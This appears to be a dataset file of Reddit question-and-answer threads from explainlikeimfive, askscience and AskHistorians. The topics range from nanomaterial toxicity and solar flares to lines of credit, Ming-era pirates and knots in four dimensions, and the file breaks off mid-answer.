{"q_id": "19xqnw", "title": "r/fearme", "selftext": "I've heard some bad things about that subreddit, I just want to know but too scared to go there...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19xqnw/eli5_rfearme/", "answers": {"a_id": ["c8s9cvc", "c8scjfj"], "score": [8, 3], "text": ["It's just pretty dark art. Photos, paintings, drawings. Some Photoshopped.\nThink Joel Peter Witkin, with a dash of satanism?", "/r/TheoryofFearMe\n\nedit:  [more specifically](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/TheoryofFearMe/comments/ys8ht/welcome_to_theory_of_fearme_please_read_before/"]]}
{"q_id": "1erj1z", "title": "What are the potential dangers of nanomaterials?", "selftext": "With the awesome potential of stuff like graphene it's easy to assume that nanomaterials will fundamentally transform our society. \n\nHowever, I've been reading some stuff about carbon nanotubes and apparently some of these materials could cause cancer the way asbestos did back in the days. \n\nShould we really start to get worried or is this threat exaggerated? What typed of nanomaterials are dangerous? Is there a specific category we should keep an eye on? \n\nThanks! ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1erj1z/what_are_the_potential_dangers_of_nanomaterials/", "answers": {"a_id": ["ca32f5u", "ca32fnt", "ca32rxc", "ca32uj6", "ca39l9q"], "score": [9, 6, 60, 2, 3], "text": ["No one really knows. The current consensus among environmental scienentists is that the danger of nano materials is not related to the material itself but rather that they are the right size to interact with your bodies cells and you could potentially be exposed to large amounts of them without knowing.\n\nOne of my colleges is doing a study on nanowire induced cell apoptosis. Now that may sound scary, but you would literally have to ingest billions of nanowires for that to even be a relevant concern.\n\nSo... For the common person, most likely nothing to worry about. For someone who works with nanomaterials, follow all relevant safety precautions.", "As far as I know, there isn't much research being done on the \"hegemonizing swarm\"/\"grey goo scenario\" type of nanobot that people worry about. Nano is just a term for the scale slightly above molecular scale, where you find interesting properties. For example, my work in cancer research uses nanoparticles to transport radioactive gold to a tumor site. But a nanoparticle is just a decently sized roughly spherical blob. For actual nanotechnology, the biggest thing I would be worried about is actually the respiratory danger; nanoscale materials in a dry situation could do some serious damage to your lung tissue if inhaled. ", "Nanotechnology engineering graduate here. A recent [letter to the editor] (_URL_1_) of Nature Nanotechnology says what I am going to reiterate and expand upon below. \n\nThe biological effects of nanomaterials are at the moment impossible to summarize. The scope of current toxicity studies is both too narrow and too broad. Take carbon nanotubes (CNTs) for example. Before even starting a study we must ask \"What kind of CNT?\" (e.g. size, functionalization, dispersion medium, passivation layer). At the nano-scale, these details have an overwhelming influence on the biological properties of the material due to surface interactions. Even researchers studying the \"same\" material observe different biological outcomes due in part to differences in production methods and handling of the nanomaterials. There are no studies that cover all types of CNTs, and those that attempt to elucidate the effects of a few material characteristics are unable to create a clear picture since so much information is missing. Yes generalizations can be made, for example some coatings (e.g. PEG) prevent biological responses, and given a specific material it is possible to guess at the dangers of exposure. See [this] (_URL_0_) review paper for a broad look at some of these generalizations. These are more concerns of the researcher or industrial worker exposed to the raw nanomaterial and at risk of inhalation. Consumers of finished products are at a low exposure risk since the nanomaterial is most commonly trapped in a solid matrix and most (not all) nanomaterials cannot penetrate the epidermis. \n\nBut, the most pressing issue in nanotoxicology is not what researchers are doing, but that nanomaterials are controlled at the government level based on their bulk properties. Silver nanoparticles are categorized under bulk silver though their properties are very different. Look at your sunscreen bottle. It says titanium dioxide (TiO2) because the manufacturer is not required by law to state that it contains TiO2 *nanoparticles*. Consumers should not be worried about nanomaterials in medicine since these products undergo rigorous testing; however, cosmetics are uncontrolled and inexpensive to test and so are the most common use of nanomaterials today. If you look at the safety sheet for TiO2 nanoparticles it is very different depending on which company you buy it from because theoretically each company should conduct toxicity studies on their product, but they are not required to do so and so the information is listed as \"no data available\". As consumers we should be worried that the hazards are unknown, that the materials are in use long before toxicity studies are performed or their results even agreed upon by experts in the field, and that governments worldwide are only now making substantial efforts to regulate nanomaterials as separate from bulk materials. \n\nThat being said, do not be afraid of nanotechnology. Most of the hazards you hear or read about in news sources, Wikipedia, yes definitely Reddit, etc., is misleading or just plain wrong. Read the articles yourself and even then be skeptical about the results and conclusions drawn by the authors. Those CNT-like-asbestos inhalation studies are not even relevant for human exposure risks. Most nanomaterial studies are not directly relevant unless you plan on injecting nanomaterials directly into your gut. \n\n**TLDR We cannot generalize yet. Nanomaterials have health risks just like other chemicals. Consumer products are mostly okay but be careful with cosmetics, they are not controlled. Also, for the love of all fish please don't wear socks with silver in them, it washes out.**", "Definitely check out the work of [Christy Haynes](_URL_1_). She is one of the people concerned not only with whether or not nanoparticles will kill an organism but also how the function of the cells inside the organism will be altered when nanoparticles are introduced. Just to start you off, here is a [review](_URL_0_) by her group on the subject. ", "I'll give just a few examples from a medical standpoint as it seems like these nanoparticles could one day be used for regular treatments and diagnosis. A lot of the issues that arise do so because of the extremely small microvasculature in certain areas of the body. You would have to ensure that nanotubes would not be able to clump and aggregate, they are immunologically neutral, ie undectable by the body, must be able to be removed, and must not interact with any body systems like hemoglobin-oxygen/ pH dissociation curves, current medications or diagnostic tools such as CT scans, contrast, etc(unless the nanotubes replace said tool)\n\nkidney: run the risk of clogging the tiny vasculature leading to kidney dysfunction, blood pressure instability, problems with hematopoesis and vitamin D production, destruction of basement membranes leading to anemias and inability to filter/reabsorb nutrients and minerals. Spleen has the same issue in terms of microvasculature and tiny filtration systems.\n\nbrain: strokes, paralysis, increased intracranial pressures/hydrocephalus, neural malfunction(say the nanotubes end up penetrating the synaptic cleft)\n\nheart: blood may become thicker with the introduction of nanotubes leading to increased energy expenditure, nonlaminar, ie turbulent, blood flow(leads to clot/emboli), murmurs, left ventricular hypertrophy, hypertension. \n\nlungs: if the tubes clot/get stuck in microvasculature, it can cut off oxygen/blood supply to that portion of the lung-- >  this portion of the lung will actually close off any air diffusion=decreased lung capacity and function. breathing them in is another topic \n\nother: may get occlusion of the tiny vessels of fingers, hands, eyes, other organs=damage. \n\nedit: all of these things are possibilities, but are fairly unlikely to occur. we just need to look out for them and ensure we aren't doing more harm than good. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://pubs.rsc.org/en/Content/ArticleLanding/2012/CS/c1cs15188f", "http://www.nature.com/nnano/journal/v8/n2/full/nnano.2012.261.html"], ["http://www.annualreviews.org/doi/pdf/10.1146/annurev-anchem-062011-143134", "http://www.chem.umn.edu/groups/haynes/"], []]}
{"q_id": "1ecb9j", "title": "If Multiple Sclerosis is caused by the Immune system attacking nervous cells, what is the reason to not infect the people with AIDS, which disables it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ecb9j/if_multiple_sclerosis_is_caused_by_the_immune/", "answers": {"a_id": ["c9ytst4"], "score": [9], "text": ["Yes, the HIV virus eventually disables the immune system. But by the time this occurs the patient is near death from opportunistic infections, rare cancers and other AIDS related phenomena. MUCH more subtle immune system regulation is needed to treat MS without killing the patient."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2c2fxj", "title": "the difference between a line of credit and a loan", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2c2fxj/eli5_the_difference_between_a_line_of_credit_and/", "answers": {"a_id": ["cjb8rnq", "cjb8v7r", "cjbcheq"], "score": [3, 9, 5], "text": ["A line of credit is a pre-approved amount you can basically loan from the bank on-demand, and you only pay interest for what money you actually do take out usually.\n\nA loan is a specific sum of money given, usually with a plan for as to how it will be repaid.\n\nIf I have a credit card I basically have a line of credit. I can, as I please, get the bank to cover my debts by using the credit card and, as per our agreement, I pay for the privilege through fees or through interest accrued on the balance I carry month to month or something.", "Loans are a lump sum then paid back over time (borrow X and pay back fraction of X+interest over specified period of time) vs. rolling line of credit (credit limit of X and can carry balance up to that indefinitely, accruing interest the longer/larger the balance). Loans are typically for specific use (car loan, home mortgage, business loan) vs. line of credit usable for many things. Loans are typically backed by collateral, which is often the item the loan is used for. Thus, you don't make payments on car loan and car is repossessed or home is foreclosed if you don't pay mortgage. For things like business loans, one may need to put up home or other assets as collateral. Lines of credit may have some sort of collateral attached (home equity line of credit, for example) but it's not tied to the items purchased w/ line of credit.", "$1,000 loan:  when your loan is approved, you get a check for $1,000.\n\n$1,000 line of credit: when you're approved, you get a credit card and can borrow up to $1,000.\n\nSo, when you get a $1,000 line of credit, you haven't borrowed anything yet, so you don't have to pay anything back yet, until you charge something against the line of credit.  A loan is something that needs to be paid back as soon as it's payed out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1iecix", "title": "Why did some state leaders wear military uniforms but US Presidents have never? Or was there an instance of one doing so?", "selftext": "One can recall the many photos of Soviet leaders or other leaders during the better half of the last century sporting military uniforms, especially royalty. Yet, you do not find the same instance in American leaders. Why is that?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1iecix/why_did_some_state_leaders_wear_military_uniforms/", "answers": {"a_id": ["cb3nts7"], "score": [9], "text": ["Royalty are often honourary commanders in chief of their respective countries' armed forces. There's also a long tradition of awarding honourary officership in a regiment for a visiting royal. The royal would often don the officer uniform of the regiment he or she was a honourary officer in and inspect it as a way of honouring the hosting country and its military.\n\nSecondly, there's also a tradition among royalty and nobility to seek a military career and many still do. For example, Prince Henry (aka Harry), second son of Charles, Prince of Wales, is a Lieutenant in the British Army.\n\nIn many countries under dictatorship, it was often the military taking over the government, and their commanders and generals making up the Junta or taking the Presidentship - these men would still be serving as officers and government officials at the same time, and could thus wear their uniform in state functions.\n\nThere has been several Generals that became Presidents of the United States - Jackson, Grant and Eisenhower being prime examples, but all of them had either already retired when they were elected, or resigned their duties (or did not have them full-time from the start) when they were elected.\n\nSo, to keep it short.\n\nRoyals: Wears honourary parade uniforms of their own or another countries military service according to rank awarded them through birthright or awarded as an honour. Sometimes wear uniforms earned through a regular military career.\n\nDictators: Often still serving in the army that took over the government and are thus wearing the uniform of their rank. Sometimes award themselves high military rank and wear that uniforms.\n\nCivilians: Wear civilian clothes. At times they might choose to wear more uniform-like clothing (such as Hitler or Stalin did) to show solidarity with the armed forces in times of war."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "32ow7k", "title": "How high up above the ecliptic would we have to get a space probe before it could see the whole galaxy?", "selftext": "In my lifetime the shape of the Milky Way galaxy went from being just a spiral shape to being thought to be a barred spiral galaxy. I'm not actually familiar with the discoveries that lead to this shift in understanding but I was wondering how far \"up\" would we have to get a probe before it could actually image the galaxy and show the shape definitively?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/32ow7k/how_high_up_above_the_ecliptic_would_we_have_to/", "answers": {"a_id": ["cqd8379", "cqdaef9", "cqdfyqh", "cqdkdbi", "cqdljp9"], "score": [19, 9, 18, 5, 5], "text": ["The thickness of the [Milky Way](_URL_0_) disk is about 1000 lightyears. So, imagining the Milky Way as a cylindrical disk, you would have to get somewhere above this distance in order to leave it and start to be able to see the whole thing. Of course, if you're on the surface of the disk, it's not easy to make out the structure, so you'd probably be need to travel a bit more than that, but it's on that order.", "Taking the diameter to be 980000 ly and assuming a field of view of 100 degrees, then you'd need to get 411000 light years above the milky way to see all of it. I could be wrong though, haven't done math in a while ", "A few thousand to a few tens of thousands of light years, depending on how well you want to see it. But note that the plane of the galaxy is not the same as the plane of the solar system, so you'd be going \"up\" in the galactic north direction (in Coma Berenices), not the ecliptic north (in Draco). Or galactic south (toward Sculptor) would work just as well.\n\n >  I'm not actually familiar with the discoveries that lead to this shift in understanding\n\nIt's not so much a shift in understanding as a more detailed model, as we gathered more evidence. We knew it was a spiral for many years, and we were correct. We just didn't know whether it was a *barred* spiral until evidence for the bar [was discovered in the mid-1990s](_URL_0_) and then [confirmed by Spitzer in 2005](_URL_1_).", "Just a nitpick, the ecliptic is the plane in which the planets orbit the sun. It is tilted about 110 degrees to the plane of the galaxy. At 90 degrees to the ecliptic, you're headed along the Sun's velocity vector which is currently is pointed near the constellation Cygnus, pretty close the plane of the galaxy, although not clear whether this is the \"fat\" or \"skinny\" dimension of the oval.  So, traveling perpendicular to  the ecliptic, you'd have to go pretty far out, because a lot of the distance you'd still be in the soup of stars along the plane of the galaxy rather than rising above the rotating disk. ", "You don't really need to be above the galaxy to see the whole of it. The galaxy is mostly empty, and by using multiple frequencies we can see through most parts that are opaque in visible light.\n\nThe [Gaia telescope](_URL_1_) is currently observing, and will give us a map of the galaxy almost as good as a picture taken from above. It will map out the 3d position of 1 billion stars in the milky way. This will give use a 3d atlas of the milky way with high accuracy near the earth and lower accuracy further away, and will [cover a substantial fraction of the milky way](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Milky_Way#Size_and_mass"], [], ["http://adsabs.harvard.edu/abs/1996A&amp;AS..120C.315C", "http://www.newscientist.com/article/dn7854--bar-at-milky-ways-heart-revealed.html#.VS63cvnF9Xo"], [], ["http://www.spaceflight101.com/uploads/6/4/0/6/6406961/6146306_orig.png", "https://en.wikipedia.org/wiki/Gaia_%28spacecraft%29"]]}
{"q_id": "2gu1pl", "title": "how do insurance companies view me driving other people's cars?", "selftext": "I'm in college right now, and I have a car at home, but not here with me. I don't need it right now because I'm living on campus. I end up driving my buddy's car a lot because 1) he is a terrible driver and 2) I don't drink. So when I DD for him and our other friends, whose insurance would cover it if I got into a wreck?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gu1pl/eli5_how_do_insurance_companies_view_me_driving/", "answers": {"a_id": ["ckmiiz1"], "score": [3], "text": ["It varies from policy to policy. Some cover the car no matter the driver, some cover the driver no matter the car, some only cover specific drivers driving specific cars. You'd have to check with your provider to find out what your plan covers. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7izwnu", "title": "why do over the counter medicines always seem to have super tiny, nearly impossible to read or find directions? shouldn't proper dosage be very important and easy to read?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7izwnu/eli5_why_do_over_the_counter_medicines_always/", "answers": {"a_id": ["dr2nwwx"], "score": [2], "text": ["They are legally required to *include* the information, but regulators have not been paying attention to the *ease of reading* the information, so they comply in the minimal way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1h6xwc", "title": "why does reddit think that europe (specifically western and scandanavian) is so much better than the united states?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1h6xwc/eli5_why_does_reddit_think_that_europe/", "answers": {"a_id": ["carf16k", "carf66o", "carjetr"], "score": [6, 19, 7], "text": ["Reddit isn't something that thinks, it's a website.\n\nPeople on reddit cite things like higher standard of living, higher wages, and larger government benefits as a reason for why some of those countries are better.", "Primarily because of healthcare.  Since Reddit trends young and near the lower end of the income scale, a large amount of people are stuck working low-end part-time jobs that offer poor or no health insurance.  So there's a perception, reinforced by every \"healthcare in America is awful\" thread, that this is the way it is for all Americans.  Among Redditors who are older with established careers, you'll find less of this sentiment.", "Have you ever seen the by-country rankings in education, health care, social equality, mental health, incarceration rates, or just overall happiness? In any measure of overall citizen satisfaction with their lives, the Scandinavian countries especially just kick the shit out of the US. The myth that we are the \"greatest country in the world\" because of our great \"freedom\" and \"anyone can make it here\" ethos only begs the question \"what freedoms?\" What happens when citizens organize to air their grievances against the government? They get put on watch lists. Harassed, surveilled, even arrested or jailed. There is very little chance of any real social mobility except for a very small percentage of people, who usually are born into it. Our schools are obscenely bad, little more than prisons with criminally underpaid teachers and soul crushing test-based curricula. Not only do we have the highest incarceration rate in the world, we have the highest prison population in the world, full stop. The mental health of our citizenry is tenuous at best. Everyone and their grandma takes some kind of psychopharmacological drug, whether it be Prozac, Xanax, or Ritalin. Tell me, if we're the greatest country in the world, why are we all taking antidepressants? We work long hours for very little pay, and most of the wealth we create goes to the richest 1% of our population, Most families need two incomes just to put food on the table and keep a roof over here heads, leaving millions of kids to raise themselves on television, which is a hopelessly inept substitute parent in terms of teaching them how to be moral, rational, intelligent human beings, and engaged citizens. And don't get me started on our health care system. We pay more than any other country for a system that has higher infant mortality, shorter lifespans, and horrific overall health than almost any other civilized country. The only thing we are number one in is military power, which we pay for by sacrificing all of the things that would make this country even worth fighting for. If you mention any of these blatant injustices, you are called a traitor, un-American, or the old \"if you don't like it you can leave\" speech. What if I don't want to leave, what if I want to change the country I was born and raised in, because I care about it and believe it can be better? This post is starting to make my blood boil, so I'm gonna stop there. Sorry about the wall of text. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "cv9aj8", "title": "During the Ming Dynasty, \"Japanese pirates\" (wokou) were a chronic problem. Do we have accounts of them from the Japanese perspective? How did they fit into contemporary Japanese society (eg were they sponsored by daimyo)?", "selftext": "I'm aware that the wokou were more multinational than the name suggests, but I've understood the core of them were still Japanese.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cv9aj8/during_the_ming_dynasty_japanese_pirates_wokou/", "answers": {"a_id": ["ey5dn7d"], "score": [21], "text": ["Great question. The best study of Japanese pirates (J: wak\u00f4; Ch: wokou; K: waegu) available in English is Peter Shapinsky's 2014 book, *Lords of the Sea: Pirates, Violence, and Commerce in Late Medieval Japan*. He focuses on the pirates that occupied the various islands of the Inland Sea and who became increasing caught up in the \"terracentric\" concerns of the Japanese unification process in the late sixteenth century, until they disappeared under the heavily regulated policies of the Tokugawa Shogunate. He goes into great detail about how they cooperated with, fought against, manipulated, and were patronized by the land-based powers of the age, including daimyo/warlords. \n\nUnfortunately we don't have useful personal narratives from the point of view of the pirates for really any period in Japanese history. It is worth mentioning that although the Chinese and Koreans were convinced that the pirates that harassed their coastal settlements and that preyed upon merchant vessels (and in many cases demanded protection money in order to not attack) were universally Japanese, all evidence points to multiple, mixed populations of pirates operating in different parts of East Asia, so simply calling these heterogeneous groups \"Japanese pirates\" is probably ahistorical. \n\nTwo first-person accounts of the maritime East Asian world in this period that might be of interest are *Ch'oe Pu's Diary: A Record of Drifting Across the Sea*, translated by John Meskill and published in 1965 by the Association for Asian Studies; and *A Korean War Captive in Japan, 1597-1600*, translated by the late, great JaHyun Kim Haboush and Kenneth R. Robinson, published in 2013 by Columbia University Press."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a0mnj6", "title": "what is def actually for and why is it still used in diesel vehicles?", "selftext": "I've driven for 2 school bus companies in 2 different countries and only in Canada(Ontario more specifically) there's still DEF buses in service. These things are clunkers at-best, why is this technology still even used?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a0mnj6/eli5_what_is_def_actually_for_and_why_is_it_still/", "answers": {"a_id": ["eaisq0p", "eait72p", "eajaox3"], "score": [6, 4, 5], "text": ["Def is a relatively new thing so still used is not really correct. It uses urea to neutralize some of the toxic emissions in the exhaust.   ", "Diesel Exhaust Fluids is a mixture of urea which is added to the exhaust in order to reduce the nitrus oxide emissions. Normally diesel engines produce a lot of nitrus oxide which is dangerous to the environment. So in order to reduce these emissions it is required to add DEF to the exhaust which will react with the nitrus oxide converting it to harmless nitrogen. More and more legislatures requires that DEF is added to the diesel trucks in order to comply with emission regulations.", "You describe DEF (diesel exhaust fluid) as an old obsolete technology, but unfortunately, as far as I'm aware it's the most modern anti-pollution technology for diesel engines that actually works.\n\nHere's the chemistry:\n\nWhen you heat up air inside a car engine or anywhere else, some of the nitrogen and oxygen react to form nitrogen oxides (NOx).  This is nasty stuff and must be cleaned out of the exhaust.\n\nOrdinary gasoline cars have a catalytic converter that combines unburned fuel with the NOx to create H2O (water), CO2 (carbon dioxide), and N2 (nitrogen).\n\nBut that doesn't work for diesels, because burning diesel fuel requires extra oxygen, which keeps the catalytic converter from eating NOx.  There are two ways to get rid of the NOx on a diesel:\n\nOption #1: Add a small amount of ammonia (NH3) to the exhaust.  The ammonia reacts with the NOx to form N2 (nitrogen gas) and H2O (water).\n\nUnfortunately, ammonia is poisonous, so it's safer to add urea (NH2)2CO.  Yes, that's the same stuff that's in urine.  Urea is less poisonous, and converts to ammonia when heated.  That's what DEF is: urea and water.\n\nOption #2: As you probably know, filling up with DEF is a pain in the butt.  There's an alternative technology: some engines trap the NOx in a zeolite filter: it's like a ceramic sponge, with zillions of tiny pores to trap molecules in.When the zeolite filter fills up with NOx, the engine computer adjusts the fuel-to-air mix to send extra fuel out the exhaust to burn up the NOx.\n\nOption #2 works without adding extra chemicals, so it's clearly better, right?  Unfortunately the engine runs *terribly* when it's in filter-cleaning mode.  The company that invented method #2 solved that problem by cheating: they didn't bother to do the annoying filter-cleaning step unless the car was being tested for air pollution.  That company was called Volkswagen, maybe you've heard of 'em, they were in the news a couple years ago about this..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "abp54h", "title": "If you lost an extreme amounts of weight, through exercise or surgery, could you use the excess skin for graphing for burn victims?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/abp54h/if_you_lost_an_extreme_amounts_of_weight_through/", "answers": {"a_id": ["ed2exxx"], "score": [29], "text": ["Your cells have specific proteins on their membranes that serve as markers for your immune system to differentiate self from non-self. These proteins can vary from person to person, although they serve the same function.\n\nThe reason you typically graft skin from yourself is that the skin will not be rejected by your immune system, where as if you used someone else's there's a very likely chance it will be rejected and cause an immune response. The larger the graft, the more higher chance of rejection.\n\nIn a person whos body has already been weakened by the fire or damage, a full, deep tissue autograft (skin from another person) is taxing, along with the requirements of immune suppressing drugs.\n\n\nMesh grafts are now the most widely accepted. It allows a framework for new skin to grow while allowing the damaged and removed tissue to heal and drain, lessening the chance of infection and need for immune suppressing medications"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6z3odo", "title": "how can i drink 8oz of black \"hot tea\" and get a caffeine rush but can drink 32 oz of black \"iced tea\" and feel nothing?", "selftext": "If they're both black tea what's the difference? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6z3odo/eli5_how_can_i_drink_8oz_of_black_hot_tea_and_get/", "answers": {"a_id": ["dms7s3c"], "score": [2], "text": ["If the iced tea was brewed cold (you put teabags in cold water), you will extract less caffeine from the tea. Hot water does a better job dissolving things so there may be slightly more caffeine in drinks that were brewed hot. If both teas were brewed hot, I think this is probably a psycological effect, and you just aren't noticing it for some reason with the cold drink."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "22vlpl", "title": "Since cancer is basically uninhibited cell growth, is there a reverse process of this such as uninhibited apoptosis?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/22vlpl/since_cancer_is_basically_uninhibited_cell_growth/", "answers": {"a_id": ["cgqypt6"], "score": [4], "text": ["Depending on what you're asking exactly, probably not. \n\nIf you count ischemia, massive radiation doses, and autoimmune diseases, then yes. However, the basis of cancer is that a single mutation in a single cell proliferates and passes on that mutation to its progeny. There is no way for an apoptotic cell to pass along its genetic code, by definition."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cfy3iu", "title": "what is the nullification crisis?", "selftext": "I searched for other posts like this but the one that I found had commenters making fun of the OP for \u201cnot doing his own APUSH homework\u201d. In case anyone wanted to say the same thing to me, I\u2019m only asking because I didn\u2019t pay attention when I was learning about it in high school and I don\u2019t understand all the legal and political jargon on the Wikipedia page.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cfy3iu/eli5_what_is_the_nullification_crisis/", "answers": {"a_id": ["eudacer", "eudjtsc"], "score": [40, 4], "text": ["Basically one state (South Carolina) tried to declare a federal law (the Tariff of 1828, and later the Tariff of 1832) nullified with respect to that one state.  In other words, SC asserted that it could declare the tariff law invalid and unenforceable in SC only, and would not have to bother establishing it was unconstitutional generally (as to other states).   There were supporters of this approach at the highest levels of the federal government, and SC was preparing to take military action to support its view (recall that military power resided in the state militias at the time), and the federal government passed a law allowing the use of force against SC, all of which which would have led to an armed conflict between SC and the federal government 20 years before the Civil War.  The crisis was resolved before shots were fired when a new tariff bill was passed that was acceptable to SC, and the state withdrew its declaration of nullification.  The issue is important because it involves the balance of power between the states and the federal government, which looked very different in the early 1800's as it does now.", "The US federal government created a tariff that primarily harmed southern states while protecting northern states. \n\nSouthern states complained, but nothing was done about it even by the southern friendly President Jackson. \n\nSouth Carolina finally got so fed up they declared the tariff unconstitutional in the state, which 'nullified' the tariffs in the state giving birth to the crisis' name. \n\nWhether or not it was constitutional for South Carolina was up for debate, but never got argued outside theoreticals as the federal government lowered the tariff in a deal with South Carolina shortly after. \n\nThis represented the first major state government vs federal government crisis before the Civil War, where slavery/secessionist states would eventually make similar arguments that South Carolina used in their nullification. \n\nIf the crisis occurred today, South Carolina would be entirely in the wrong as states cannot nullify federal laws, but back then it was heavily debated whether or not states could nullify federal laws."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "qrpke", "title": "What does Sunspot 1429 mean for us? Is it a possible concern?", "selftext": "Pretty much the title.\n\nWill it possibly eject significantly stronger/more flares than we are used to?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qrpke/what_does_sunspot_1429_mean_for_us_is_it_a/", "answers": {"a_id": ["c3zwmdm", "c3zxbov"], "score": [20, 28], "text": ["~~Sunspots~~ Solar Flares can disrupt power grids, communications, and sensitive electronic components in satellites.  They can produce beautiful aurora borealis.\n\nHealth wise they pose no threat except for flying at high altitude (during severe storms polar routes are sometimes shifted to avoid higher radiation).", "Would like to clarify that any effect seen at the earth is from a solar flare/coronal mass ejection. These energetic events are usually associated with sunspots but the actual sunspot itself has no influence on the earth.\n\n > Will it possibly eject significantly stronger/more flares than we are used to?\n\nYep, a big sunspot(s)(group) have high magnetic fields and produce big flares, we have already seen a few X class flares (the largest category for flares) including an X5.4 which is the second biggest flare in about 5 years, the largest coming last august. On earth the consequences of these X-class flares were some mediocre radio blackouts in Asia and some lovely northern lights from a fairly strong geomagnetic storm. The flares were not strong enough at earth to have any impact on the electrical grid. For a risk of destroying electrical infrastructure the flares have to be strong and pointed roughly at the earth rather than off to the side.\n\nCompare this to other recent geomagnetic storms. The Halloween storm in 2003 included a gigantic X28 flare and destroyed transformers in south africa. More serious was the storms in 1989 which caused an almost complete collapse of the grid in Quebec due to a fairly badly designed setup causing a cascade in circuit breakers going off once a few key components blew. The effect of these flares meant that the aurora was so strong it could be seen as far south as the tropics.\n\nSo how does this happen, well the rapidly changing magnetic field of the earth induces a voltage in the ground. The electric field is actually really small, the reason why transformers are at risk is the power grid is generally earthed infrequently, so a electric field in the earth if 0.001V / m becomes 50V in a power line that runs between transformers that are 50km apart. This means in general, the most likely cause for concern, geomagnetically induced currents, don't really affect anything other than large scale power grids. The worst you can expect from an extremely bad storm is minor blackouts and I guess where you have failure in electrical systems you can have fires.\n\nOther effects are minor increases in radiation, loss of satellites, increased expenditure of satellite propellant to keep them in orbit nothing to be worried about.\n\nThere was a storm in 1859 (so before we had anything like the diagnosis tools we have today) called the [Carrington event](_URL_0_) that was very extreme, if it happened today we would see widespread damage amounting to huge financial costs. These levels of storms are estimated to have occurred roughly once every 500 years. It is likely we need an improvement to electrical infrastructure to avoid widespread disruption by this size of storm.\n\nJust to reiterate,\n\n > Is it a possible concern?\n\nNo, the sunspot group that 1429 is part of is not a cause for concern. Acually, people in my field are rather pleased to be getting some new flares to look at. This isn't to say all solar flares aren't a cause for concern but we only need to worry about the very big ones (especially if they are pointed directly at the earth). Even then, the biggest concern is damage to the electrical grid/satellites and not about possible loss of life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/1859_solar_superstorm"]]}
{"q_id": "959z5n", "title": "Does ejaculation stimulate urination?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/959z5n/does_ejaculation_stimulate_urination/", "answers": {"a_id": ["e3sjrr3"], "score": [6], "text": ["It could, most commonly it's an instinctive pipe cleaning.\nOther than that the bladder neck spasms during orgasm which is supposed to keep semen from going to the bladder, sometimes it doesn't close well, could make ur bladder feel suddenly full, no health risks attached though.\nThere's other possible reasons but these are most common."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "17fk8e", "title": "I've been told that knots only work in three dimensions, but that's never been clear to me.  Does that mean you cannot use a 3-d rope to tie a knot in 4-space (which makes sense, as it can slip through itself), or even if you used a 4-d \"rope\", would you still not be able to make a knot in 4-space?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17fk8e/ive_been_told_that_knots_only_work_in_three/", "answers": {"a_id": ["c852byk", "c8531o0", "c8536fy", "c855569", "c855brj", "c8579rr", "c859zc7", "c85ba9e"], "score": [90, 29, 342, 8, 16, 3, 2, 5], "text": ["[This](_URL_0_) might help.  It even has a nice animation.\n\nThe basic idea is that you have more room to maneuver in four dimensions.", " >  Even if you used a 4-d \"rope\", would you still not be able to make a knot in 4-space?\n\nRight. If you're the kind of person who likes Flatland-style analogies, consider a small loop of rope inside a big loop of rope in 2-d. Within the plane, there's no way to get the small loop out, because it would have to pass through the rope of the big loop. In 3-d it's easy: you just lift it out and set it back down into the plane. This holds true even if you use a 3-d rope.\n\nSimilarly when 3-d or 4-d rope slips through itself, you can think of it as just being lifted into the 4th dimension.", "Knots are usually thought of as a one-dimensional object in three-dimensional space. Sometimes we refer to this as the knot having a codimension of 2 (3-1).\n\nCodimension 2 turns out to make knots more interesting than they otherwise would be. In codimension 1, you don't have much 